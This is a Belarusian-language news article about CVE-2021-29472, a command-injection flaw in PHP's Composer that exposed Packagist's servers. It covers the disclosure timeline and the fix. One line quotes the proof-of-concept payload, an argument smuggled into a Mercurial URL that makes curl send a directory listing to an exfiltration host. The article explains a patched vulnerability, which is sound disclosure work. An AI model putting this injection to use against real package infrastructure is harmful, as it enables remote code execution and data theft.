Уразлівасць у пакетным мэнэджары Composer, якая дапускае кампраметацыю PHP-рэпазітара Packagist

У мэнэджары залежнасцяў Composer выяўлена крытычная ўразлівасць (CVE-2021-29472), якая дазваляе выканаць адвольныя каманды ў сістэме пры апрацоўцы пакета са адмыслова аформленым значэннем URL, вызначальным адрас для загрузкі зыходных тэкстаў. Праблема выяўляецца ў кампанентах GitDriver, SvnDriver і HgDriver, якія выкарыстоўваюцца пры выкарыстанні сістэм кіравання зыходнымі тэкстамі Git, Subversion і Mercurial. Уразлівасць ухіленая ў выпусках Composer 1.10.22 і 2.0.13.

Асоба адзначаецца, што праблема галоўнай выявай закранула па змаўчанні ўжывальны ў Composer рэпазітар пакетаў Packagist, які налічвае 306 тысяч пакетаў для распрацоўнікаў на мове PHP і штомесяц абслугоўвае больш 1.4 мільярда загрузак. Падчас эксперыменту паказана, што ў выпадку наяўнасці звестак аб праблеме атакавалыя маглі б атрымаць кантроль над інфраструктурай Packagist і перахапіць уліковыя дадзеныя суправаджаючых або перанакіраваць загрузку пакетаў на іншы сервер, арганізаваўшы дастаўку варыянтаў пакетаў з шкоднаснымі зменамі для падстаноўкі бэкдора падчас усталёўкі залежнасцяў.

Небяспека для канчатковых карыстачоў абмяжоўваецца тым, што змесціва composer.json звычайна вызначаецца самім карыстачом, а спасылкі на зыходныя тэксты перадаюцца пры звароце да іншых рэпазітараў, звычайна годным даверу. Асноўны ўдар прыйшоўся на рэпазітар Packagist.org і сэрвіс Private Packagist, якія выклікаюць Composer з перадачай дадзеных, атрыманых ад карыстальнікаў. Зламыснікі маглі выканаць свой код на серверах Packagist размясціўшы спецыяльна аформлены пакет.

Каманда Packagist ухіліла ўразлівасць на працягу 12 гадзін пасля паступлення паведамлення аб уразлівасці. Даследнікі ў прыватным парадку апавясцілі распрацоўшчыкаў Packagist 22 красавіка і ў той жа дзень праблема была выпраўлена. Публічнае абнаўленне Composer з ухіленне ўразлівасці было апублікавана 27 красавіка, а дэталі былі расчыненыя 28 красавіка. Аўдыт логаў на серверах Packagist не выявіў злучанай з уразлівасцю падазронай актыўнасці.

Праблема выклікана памылкай у кодзе праверкі карэктнасці URL у каранёвым файле composer.json і спасылках для загрузкі зыходных тэкстаў. Памылка прысутнічае ў кодзе з лістапада 2011 года. У Packagist для арганізацыі загрузкі кода без прывязкі да пэўнай сістэмы кіравання зыходнымі тэкстамі прымяняюцца спецыяльныя праслойкі, якія выконваюцца пры дапамозе выкліку "fromShellCommandline" з перадачай аргументаў каманднага радка. Напрыклад, для git выклікаецца каманда "git ls-remote -heads $URL", дзе URL апрацаваны пры дапамозе метаду "ProcessExecutor::escape($url)", экрануе патэнцыйна небяспечныя канструкцыі, такія як "$(…)" або "` …`».

Сутнасць праблемы ў тым, што метад ProcessExecutor::escape не экранаваў паслядоўнасць "-", што дазваляла паказаць у URL любы дадатковы параметр выкліку. Падобнае экранаванне адсутнічала ў драйверах GitDriver.php, SvnDriver.php і HgDriver.php. Атацы праз GitDriver.php замінала тое, што каманда «git ls-remote» не падтрымлівала ўказанне дадатковых аргументаў пасля шляху. Магчымай апынулася напад на HgDriver.php праз перадачу параметра "config" утыліце "hq", які дазваляе арганізаваць выкананне любой каманды праз маніпуляцыю з наладай "alias.identify". Напрыклад, для загрузкі і выкананні кода праз запуск утыліты curl можна было паказаць: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Размясціўшы ў Packagist тэставы пакет з падобным URL, даследнікі пераканаліся, што пасля месцавання на іх сервер паступіў HTTP-запыт з аднаго з сервераў Packagist у AWS, утрымоўвальны лістынг файлаў у бягучым каталогу.

Крыніца: opennet.ru

Дадаць каментар